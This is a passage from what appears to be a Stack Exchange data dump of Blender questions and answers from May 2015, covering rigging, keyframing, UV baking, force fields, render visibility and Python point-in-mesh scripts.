LastActivityDate="2015-05-29T18:34:56.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31671" PostTypeId="1" AcceptedAnswerId="31678" CreationDate="2015-05-29T18:23:28.487" Score="0" ViewCount="1120" Body="&lt;p&gt;I have 500 meshes grouped together and I can't find out which one of them has the force field physics activated, but it's there. I assumed a possible solution would be to select all objects, disable force field physics for the active object, then apply the changes to the rest of them... but, if so, how do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14519" LastEditorUserId="14519" LastEditDate="2015-05-29T19:15:47.457" LastActivityDate="2015-10-27T01:11:16.650" Title="How do you disable physics force field for multiple objects/meshes?" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31672" PostTypeId="1" AcceptedAnswerId="31677" CreationDate="2015-05-29T18:25:03.743" Score="3" ViewCount="1950" Body="&lt;p&gt;I created poses for opened and closed book. But when I'm going to create a keyframe with (&lt;kbd&gt;I&lt;/kbd&gt; - whole character) this error occurs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjtdu.png&quot; alt=&quot;error message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qZQ8y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qZQ8y.png&quot; alt=&quot;blender showing the entire interface&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="3078" LastEditDate="2015-05-29T22:52:35.813" LastActivityDate="2015-05-29T22:52:35.813" Title="Why can I not keyframe this armature?" Tags="&lt;bones&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31673" PostTypeId="1" CreationDate="2015-05-29T18:27:54.670" Score="1" ViewCount="441" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L50nF.png&quot; alt=&quot;rendered scene&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;hello . how to get rid of this grey plane that hides my interior. in 3d view it doesnt appear but when i rendered it shows. I try to make some changes in render then camera setup.  please can anybody tell what to do.&lt;/p&gt;&#xA;" OwnerUserId="14692" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-29T19:38:25.990" Title="Blender rendering is grey and black" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-05-30T07:15:25.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="31674" PostTypeId="2" ParentId="31665" CreationDate="2015-05-29T18:33:14.333" Score="1" Body="&lt;p&gt;You might try using a spherical gradient texture with a mix node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/icc5H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though any mask texture you like can be used in place of the gradient.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-29T18:33:14.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31676" PostTypeId="2" ParentId="31665" CreationDate="2015-05-29T18:50:19.750" Score="3" Body="&lt;p&gt;Set up the nodes as pictured below to achieve it. Just use a &lt;strong&gt;&lt;em&gt;Gradient Texture&lt;/em&gt;&lt;/strong&gt; as a mask. Set its type to &lt;strong&gt;&lt;em&gt;Quadratic Sphere&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5szW9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-05-29T18:50:19.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31677" PostTypeId="2" ParentId="31672" CreationDate="2015-05-29T18:51:10.333" Score="4" Body="&lt;p&gt;If you look down at your time line you will see that the active keying set is &quot;&lt;em&gt;Button Keying...&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is a custom &lt;a href=&quot;https://blender.stackexchange.com/q/7636/2217&quot;&gt;keying set&lt;/a&gt;, you can see what is included in it in the scene tab of the properties window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do one of two things.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add the location and rotation to your custom keying set.  &lt;/li&gt;&#xA;&lt;li&gt;Click on the X next to the keying set's name to clear the active keying set. (it will still be there, just not used) Then the familiar keyframe menu will pop up when you press &lt;kbd&gt;I&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-05-29T18:51:10.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31678" PostTypeId="2" ParentId="31671" CreationDate="2015-05-29T18:57:33.113" Score="0" Body="&lt;p&gt;The object with the force field has circles around it, so it should be shown, else you could play the simulation with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and see where the force comes from :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-05-29T18:57:33.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31680" PostTypeId="1" AcceptedAnswerId="31681" CreationDate="2015-05-29T19:19:22.180" Score="5" ViewCount="3812" Body="&lt;p&gt;I made a particle system but now i want to extract the particles as a Mesh, or just froze the particles in time, for render time, is this possible?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="599" LastEditDate="2015-05-29T19:25:18.557" LastActivityDate="2015-05-29T19:37:00.040" Title="How can I make my particles freeze in time and convert them into a Mesh?" Tags="&lt;particles&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31681" PostTypeId="2" ParentId="31680" CreationDate="2015-05-29T19:21:18.663" Score="9" Body="&lt;ul&gt;&#xA;&lt;li&gt;Find the frame most suited to your goal with the particle system.&lt;/li&gt;&#xA;&lt;li&gt;Press the Convert button of the particle system modifier, you will have duplicates.  Make a selection of only the emitted particles. Do not include the original particle system mesh.&lt;/li&gt;&#xA;&lt;li&gt;Join the Meshes with &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;J&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="29" LastEditDate="2015-05-29T19:37:00.040" LastActivityDate="2015-05-29T19:37:00.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31682" PostTypeId="1" CreationDate="2015-05-29T19:37:15.920" Score="2" ViewCount="5013" Body="&lt;p&gt;I would like to rig a mesh (for example Susanne, the monkey) manually, using 3 bones, and this object uses a mirror modifier and a subsurf modifier. The left bone has 0 vertices assigned yet and the right bone has a few vertices assigned. Because of the mirror modifier, when I weight paint the right side, the left side will also be painted, which means that both sides are controlled by the right bone. How can I solve that only the right side is weight painted with mirror modifier, without applying the mirror modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tRkMl.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XFTD0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I first select the monkey, then the armature, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;, automatic weights, then only one side is weight painted, even with mirror modifier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gR8ZT.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pKXdY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve that only the right side is weight painted with mirror modifier, without applying the mirror modifier? I know this is a duplicated question of &lt;a href=&quot;https://blender.stackexchange.com/questions/27708/unmirror-weight-paint&quot;&gt;Unmirror Weight Paint&lt;/a&gt;, but I don't want to apply the mirror modifier, because I may want to edit the mesh later and the mirror modifier is then convenient. Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2017-12-19T19:53:13.417" Title="How to do weight paint on one side, even with mirror modifier" Tags="&lt;weight-painting&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31683" PostTypeId="2" ParentId="31673" CreationDate="2015-05-29T19:38:25.990" Score="3" Body="&lt;p&gt;It sounds like your object is hidden in the viewport, but not in the render. Press &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; in the viewport to unhide all hidden objects, or examine the &lt;em&gt;outliner&lt;/em&gt; for objects with their eye icon disabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lEuVy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The eye icon controls object visibility in the viewport and preview render, and the camera icon controls object visibility in the final render.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-29T19:38:25.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31684" PostTypeId="2" ParentId="31666" CreationDate="2015-05-29T19:42:37.760" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Lengthen&lt;/strong&gt; the size of the trimmed video to double its horizontal size... this will allow for all of the video to play at half the speed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place all your transform strips on top of one another ... you may need to take  59 seconds to delete your old work.  Only the last strip should have alpha of 1.00 visible.  The other strips should have alpha 0.0 not visible.  The last effect strip will have the combined effects and it alone is visible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the very worst case. Place the video on the timeline, No transforms, Test. Reduce the complication.  Next trim and test. Next Only change speed, test.  To determine where are steps first fail.  You should have a clear list of what succeeds and fails.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-29T21:31:37.140" LastActivityDate="2015-05-29T21:31:37.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31685" PostTypeId="1" CreationDate="2015-05-29T20:26:22.983" Score="0" ViewCount="394" Body="&lt;p&gt;To understand UV Mapping more I created a UV Sphere and a material which is totally black.&#xA;I also created a yellow material and assigend it to some faces.&#xA;Then I baked three textures (high 2048x2048, mid 1024x1024, low 512x512) and saved the uv sphere as a wavefront obj file. I also set the margin to 0 because I don't want to waste space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q4yrw.png&quot; alt=&quot;Top of UV Sphere&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0I88J.png&quot; alt=&quot;Low texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I opened blender new, imported the obj file (with the uv coordinates of course) and added a new material. I added a texture to that material and choose as Type Image or Movie. I choose the low image and the right UV Map. I thought it's working like it should but when I let Blender render that image I have ugly white lines between the &quot;parts&quot; where the smart uv map &quot;cut&quot; through the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t1ZoW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change the method how the viewport is displayed as textured - then there are no lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the problem? Do I need to set margin to 1?&lt;/p&gt;&#xA;" OwnerUserId="13978" LastActivityDate="2015-05-29T20:26:22.983" Title="Use baked texture on the same object creates lines without color" Tags="&lt;uv&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31687" PostTypeId="2" ParentId="31666" CreationDate="2015-05-29T21:54:38.670" Score="3" Body="&lt;p&gt;It's hard to tell what you're asking without some pictures, but I think you're adding all the effects strips to the original footage. This doesn't work when you're trying to combine more than one effect on the same section of footage. See the following example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XZThD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this (contrived) example, I have a Gamma Cross, a Transform, and a Glow effect that I want to all be applied to that transition between the two strips. If you select one of the purple strips and add each effect to it, then the only effect that will actually be applied is whatever effect is on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to have all the effects combined the way you expect, you would add the Gamma Cross like normal, then select the Gamma Cross and add the Transform to the Gamma Cross strip, then select the Transform and add the Glow to the Transform strip. This will make each effect combine with the others the way you'd expect them to.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2015-05-29T21:54:38.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31688" PostTypeId="1" CreationDate="2015-05-29T21:59:44.067" Score="1" ViewCount="2380" Body="&lt;p&gt;I am trying to add material to my tire and after I complete the steps to get the material and make it textured, I am told to hit the material button to see the material and texture as one. However, my blender doesn't have the buttons under the preview window on the right hand side as the instructed video I am watching has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added pictures so you can see what I am talking about.&lt;br&gt;&#xA;Screen shot of Instructed Video.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VH6kD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VH6kD.png&quot; alt=&quot;Instructed Video&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Blender&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WC01q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WC01q.png&quot; alt=&quot;My Blender&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11597" LastEditorUserId="2217" LastEditDate="2015-05-30T21:16:57.097" LastActivityDate="2018-03-03T16:12:26.913" Title="Why Is Blender Missing Buttons?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;interface&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="16" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31689" PostTypeId="1" CreationDate="2015-05-29T22:55:12.413" Score="1" ViewCount="398" Body="&lt;p&gt;I'm having a problem with this bone setup I've made. The Thing is, the bones in Y axis rotate as it is supposed to, but when in the X axis, it inverts and I really don't know why. Some images to explain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l5en1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l5en1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pWQp2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pWQp2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the X axis bones to make the same movement as the ones in the y axis&lt;/p&gt;&#xA;" OwnerUserId="7615" LastEditorUserId="2217" LastEditDate="2015-05-30T01:19:05.377" LastActivityDate="2015-05-30T14:40:23.473" Title="Weird bone rotation in copyRotation Constraint" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31690" PostTypeId="1" CreationDate="2015-05-29T23:46:57.297" Score="1" ViewCount="136" Body="&lt;p&gt;I am beginner in Blender, so I need your advice. I want to add some &quot;hollows&quot; on the surface of my mesh to imitate latches and other details. The only way I know how to do this at the moment - enlarge my mesh and extrude the parts I need. But if I go this way, the model will be to complicated for future modelling.&lt;img src=&quot;https://i.stack.imgur.com/vjbF5.jpg&quot; alt=&quot;base for the robo body&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see - there are a lot of latches, and hollowings on the top of robo body. Which is the best way to imitate them on my mesh?&lt;/p&gt;&#xA;" OwnerUserId="14695" LastEditorUserId="13814" LastEditDate="2015-05-30T03:33:52.530" LastActivityDate="2015-05-30T03:33:52.530" Title="How to add hollows on the surface of mesh and don't make it too complicated for future modelling" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31691" PostTypeId="2" ParentId="31629" CreationDate="2015-05-29T23:57:28.417" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://bensimonds.com/2010/07/30/matcap-generator/&quot; rel=&quot;nofollow&quot;&gt;matcap generator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a great matcap generator .blend from Ben Simonds.  I'd imagine you could simply apply a texture to the sphere and render it out.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, apply the matcap to your model using reflection coordinates, and go to textured view mode to see the results.&lt;/p&gt;&#xA;" OwnerUserId="14501" LastActivityDate="2015-05-29T23:57:28.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31692" PostTypeId="2" ParentId="31690" CreationDate="2015-05-30T00:09:08.787" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Composition.  One might think a sphere/cylinder needs more vertices than a cube. If you place a sphere next to a cube and both are children of an empty then each can have different numbers of vertices mininal to their shape. They might not share any vertices at all.  The location closeness can make them seem as single connected mesh even though they are disconnected.&lt;/li&gt;&#xA;&lt;li&gt;Consider searching Blender Parent Empty at some well known video website.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See videos on Blender armatures if rotation is necessary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Single Mesh Example in edit mode.  The sphere vertices have not effect on the cube vertices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/71XPs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The above can be a single mesh.  Yet the composed meshed share no vertices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I see textures in your image above.  For low levels of detail you can replace vertices with textures.  All the metal texture and decal paint appearing in your image are probably usefully and sanely done with Blender textures.  You can use a texture to imitate a protusion or indentation especially if that area will not be seen close up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Another search here will probably locate more questions on the same topic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-30T00:50:42.547" LastActivityDate="2015-05-30T00:50:42.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31693" PostTypeId="1" CreationDate="2015-05-30T00:14:41.047" Score="12" ViewCount="9679" Body="&lt;p&gt;I need a python script that would help me determine if a point is inside a cylindrical mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the .pointInside(point, selected_all=False) but it is deprecated in the newer versions of blender and google search yielded a couple of scripts (below) and they don't work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ray-casting method: (&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?228683-Point-in-mesh-scripts-not-working&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?228683-Point-in-mesh-scripts-not-working&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;def pointInsideMesh(point,ob):&#xA; axes = [ mathutils.Vector((1,0,0)) ]&#xA; outside = False&#xA; for axis in axes:&#xA;    mat = ob.matrix_world&#xA;    mat.invert()&#xA;    orig = mat*point&#xA;    count = 0&#xA;    while True:&#xA;        location,normal,index = ob.ray_cast(orig,orig+axis*10000.0)&#xA;        if index == -1: break&#xA;        count += 1&#xA;        orig = location + axis*0.00001&#xA;    if count%2 == 0:&#xA;        outside = True&#xA;        break&#xA;return not outside&#xA;print(pointInsideMesh( mathutils.Vector((3,0,0)),bpy.context.active_object))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And one described here (&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?228683-Point-in-mesh-scripts-not-working&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?228683-Point-in-mesh-scripts-not-working&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## normals should be pointing out&#xA;import bpy&#xA;obj = bpy.context.object&#xA;cur = bpy.context.scene.cursor_location.copy()&#xA;cur = obj.matrix_world.inverted() * cur&#xA;cpom = obj.closest_point_on_mesh(cur)&#xA;vec = cur - cpom[0]&#xA;dot = cpom[1].dot(vec)&#xA;if dot &amp;lt; 0.0: print(dot, 'inside')&#xA;else: print(dot, 'outside')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14696" LastEditorUserId="15543" LastEditDate="2017-02-20T15:15:37.117" LastActivityDate="2020-05-18T16:04:06.647" Title="How to find if a point is inside a mesh?" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31695" PostTypeId="1" AcceptedAnswerId="31700" CreationDate="2015-05-30T03:08:28.073" Score="5" ViewCount="2471" Body="&lt;p&gt;I was following this link on &lt;a href=&quot;https://blender.stackexchange.com/questions/8300/how-to-solidify-edges&quot;&gt;solidifying edges&lt;/a&gt;. When I went to convert the mesh to a curve, nothing happened. Here's what I starting with a new file:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select cube&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; to edit mode&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt; &gt; Wireframe&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; back to object mode&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; &gt; Curve from Mesh/Text&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Nothing happens. I noticed that it works if I add a Grid or Circle and try to convert those. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Blender 2.71 (Release Candidate). I also tried converted the cube directly without converting it to a wireframe, but that didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Context: I'm trying to create a picture like this, with shadeless faces (that occlude the background) and dark edges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IPvYs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14697" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2016-12-12T01:26:08.907" Title="&quot;Curve From Mesh/Text&quot; not working on wireframe of cube" Tags="&lt;bezier-curves&gt;&lt;edges&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31696" PostTypeId="1" CreationDate="2015-05-30T03:23:38.693" Score="16" ViewCount="16351" Body="&lt;p&gt;I'm trying to make some procedural textures that will give me a result like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://durian.blender.org/wp-content/uploads/2010/03/small_snow_subdiv.png&quot; alt=&quot;this&quot;&gt; - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this one is said to have been a voronoi + a clouds texture and I figured the best way to combine those is to use the node editor for Textures and then just slap that Texture that I create in the node editor as the Texture I use in the Displace Modifier pane. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, for some reason, when I select my Texture in the Displace modifier (for which I have already setup the nodes) as you can see here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/EfpYx7A.png&quot; alt=&quot;here&quot;&gt;, it doesn't actually affect the plane at all, as you can see&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/4QgbSe1.png&quot; alt=&quot;here&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go over to the Textures tab, it shows the preview that is output from the node editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/9ieRinj.png&quot; alt=&quot;http://imgur.com/9ieRinj&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the Displace Modifier isn't having any of it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I tried looking online but everything was either on baking normal maps or they didn't use the node editor for the Displace Modifier - they just used the default cloud textures or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!!&lt;/p&gt;&#xA;" OwnerUserId="11107" LastEditorUserId="599" LastEditDate="2015-05-30T05:42:53.193" LastActivityDate="2020-04-19T10:53:38.960" Title="Using Texture Nodes for the Displace Modifier" Tags="&lt;texturing&gt;&lt;modifiers&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31697" PostTypeId="1" AcceptedAnswerId="31699" CreationDate="2015-05-30T03:36:57.650" Score="11" ViewCount="13563" Body="&lt;p&gt;I have 2 vertices I would like to extrude, but the previous vertices were not straight vertical or horizontal. I am not sure which angle I extruded them in. Is there anyway to extrude these 2 in the same direction as the previous vertices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xYOrn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2015-05-30T13:31:27.757" LastActivityDate="2015-05-30T22:03:58.393" Title="Extrude in same angle?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31698" PostTypeId="1" CreationDate="2015-05-30T04:18:16.990" Score="4" ViewCount="1146" Body="&lt;p&gt;Looking for a script that runs through the &lt;strong&gt;animation frames&lt;/strong&gt; and at each keyframe it exports just the mesh as a .fbx (no cameras, bones or helpers) at that specific frame, preferably with a &lt;strong&gt;filename that includes the frame number&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nothing like this exists, I'll attempt to write it myself soon, but I've never written a blender script before and it's been years since I used Python at all, so I may need some instruction (library reference or similar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Using this output as an input for morph targets in another application.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="14698" LastEditorUserId="3710" LastEditDate="2015-05-31T15:57:12.360" LastActivityDate="2015-05-31T15:57:12.360" Title="Export keyframes as baked meshes?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;export&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31699" PostTypeId="2" ParentId="31697" CreationDate="2015-05-30T04:48:59.877" Score="12" Body="&lt;h3&gt;Option 1&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If the face you are extruding from is planar one way to do this is to use a custom orientation which you can take from that face and use as a local coordinate system for future operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xbk0c.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example I already had a &quot;Transform Orientation&quot; named Face, and Blender made a new one called &quot;Face.001&quot; so as not to override the old one.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Option 2&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Select the edge you want to extrude, change the transform orientation in the tool below, to Normal. Hit Extrude, and press (X,Y, or Z) twice until you see an orientation line that matches the direction you want to translate the extrude edge in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vU6zM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-30T22:03:58.393" LastActivityDate="2015-05-30T22:03:58.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
